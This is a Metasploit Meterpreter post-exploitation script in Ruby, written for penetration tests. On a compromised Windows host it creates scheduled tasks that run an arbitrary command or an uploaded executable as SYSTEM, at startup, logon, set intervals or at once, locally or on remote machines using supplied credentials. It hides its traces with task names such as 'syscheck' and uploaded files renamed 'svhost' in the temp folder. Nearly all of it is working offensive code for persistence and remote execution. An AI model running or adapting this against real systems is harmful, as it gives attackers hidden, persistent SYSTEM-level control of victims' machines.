# $Id: scheduleme.rb 10453 2010-09-24 00:08:53Z darkoperator $

#Meterpreter script for automating the most common scheduling tasks
#during a pentest. This script will use the schtasks command so as
#to provide future compatibility since MS will retire the AT command
#in future versions of windows. This script works with Windows XP,
#Windows 2003, Windows Vista and Windows 2008.
#Version: 0.1.2
#Note: in Vista UAC must be disabled to be able to perform scheduling
#and the meterpreter must be running under the profile of local admin
#or system.
################## Variable Declarations ##################
session = client
@@exec_opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help menu." ],
	"-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"],
	"-d" => [ false,"Daily." ],
	"-hr" => [ true,"Every specified hours 1-23."],
	"-m" => [ true, "Every specified amount of minutes 1-1439"],
	"-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"],
	"-l" => [ false,"When a user logs on."],
	"-o" => [ true,"Options for executable when upload method used"],
	"-s" => [ false,"At system startup."],
	"-i" => [ false,"Run command imediatly and only once."],
	"-r" => [ false,"Remote Schedule. Executable has to be already on remote target"],
	"-u" => [ false,"Username of account with administrative privelages."],
	"-p" => [ false,"Password for account provided."],
	"-t" => [ true,"Remote system to schedule job."]
)
################## function declaration Declarations ##################
def usage()
	print_line("Scheduleme -- provides most common scheduling types used during a pentest")
	print_line("This script can upload a given executable or script and schedule it to be")
	print_line("executed. All scheduled task are run as System so the Meterpreter process")
	print_line("must be System or local admin for local schedules and Administrator for")
	print_line("remote schedules")
	print_line(@@exec_opts.usage)
end

#---------------------------------------------------------------------------------------------------------
def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
	execmd = ""
	success = false
	taskname = "syscheck#{rand(100)}"
	if cmdopt != nil
		cmd = "#{cmd} #{cmdopt}"
	end
	case schtype
	when "startup"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}"
		end
	when "login"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}"
		end
	when "hourly"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}"
		end
	when "daily"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}"
		end
	when "minute"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc minute /mo #{tmmod} /ru system"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}"
		end
	when "now"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc once /ru system /st 00:00:00"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc once /ru system /st 00:00:00 /u #{username} /p #{password}"
		end
	end
	print_status("Scheduling command #{cmd} to run #{schtype}.....")
	r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
	while(d = r.channel.read)
		if d =~ /successfully been created/
			print_status("The scheduled task has been successfully created")
			if username == nil
				print_status("For cleanup run schtasks /delete /tn #{taskname} /F")
			else
				print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F")
			end
			success = true
		end
	end
	if !success
		print_status("Failed to create scheduled task!!")
	elsif success && schtype == "now"
		if username == nil
			session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}")
		else
			session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}")
		end
	end
	r.channel.close
	r.close

end
#---------------------------------------------------------------------------------------------------------
def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)
	execmd = ""
	success = false
	taskname = "syscheck#{rand(100)}"
	if cmdopt != nil
		cmd = "#{cmd} #{cmdopt}"
	end
	case schtype
	when "startup"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system "
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system "
		end
	when "login"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system "
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system "
		end
	when "hourly"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
		end
	when "daily"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
		end
	when "minute"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc minute /mo #{tmmod} /ru system /s #{targetsys}"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"
		end
	when "now"
		if username == nil
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc once /ru system /s #{targetsys} /st 00:00:00"
		else
			execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\"  /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}"
		end
	end
	print_status("Scheduling command #{cmd} to run #{schtype}.....")
	r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
	while(d = r.channel.read)
		if d =~ /successfully been created/
			print_status("The scheduled task has been successfully created")
			print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys}  /u #{username} /p #{password} /F")
			success = true
		end
	end
	if !success
		print_status("Failed to create scheduled task!!")
	elsif success && schtype == "now"
		if username == nil
			session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}")
		else
			session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}")
		end
	end
	r.channel.close
	r.close

end
#---------------------------------------------------------------------------------------------------------

def upload(session,file)
	location = session.fs.file.expand_path("%TEMP%")
	fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
	print_status("Uploading #{file}....")
	session.fs.file.upload_file("#{fileontrgt}","#{file}")
	print_status("#{file} uploaded!")
	return fileontrgt
end
# Parsing of Options
cmd = nil
file = nil
schtype = ""
tmmod = ""
cmdopt = nil
helpcall = 0
remote = 0
targetsys = nil
username = nil
password = nil
@@exec_opts.parse(args) { |opt, idx, val|
	case opt

	when "-c"
		cmd = val
	when "-e"
		file = val
	when "-d"
		tmmod = val
		schtype = "daily"
	when "-hr"
		tmmod = val
		schtype = "hourly"
	when "-m"
		tmmod = val
		schtype = "minute"
	when "-s"
		schtype = "startup"
	when "-l"
		schtype = "login"
	when "-i"
		schtype = "now"
	when "-o"
		cmdopt = val
	when "-r"
		remote = 1
	when "-t"
		targetsys = val
	when "-u"
		username = val
	when "-p"
		password = val
	when "-h"
		helpcall = 1
	end

}
if client.platform =~ /win32|win64/
	if helpcall == 1
		usage()
	elsif cmd == nil && file == nil
		usage()
	elsif !is_uac_enabled? and is_admin?
		if file == nil
			if remote == 0
				scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
			else
				scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)
			end
		else
			cmd = upload(session,file)
			scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)
		end
	else
		print_status("Meterpreter is not running under sufficient administrative rights.")
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end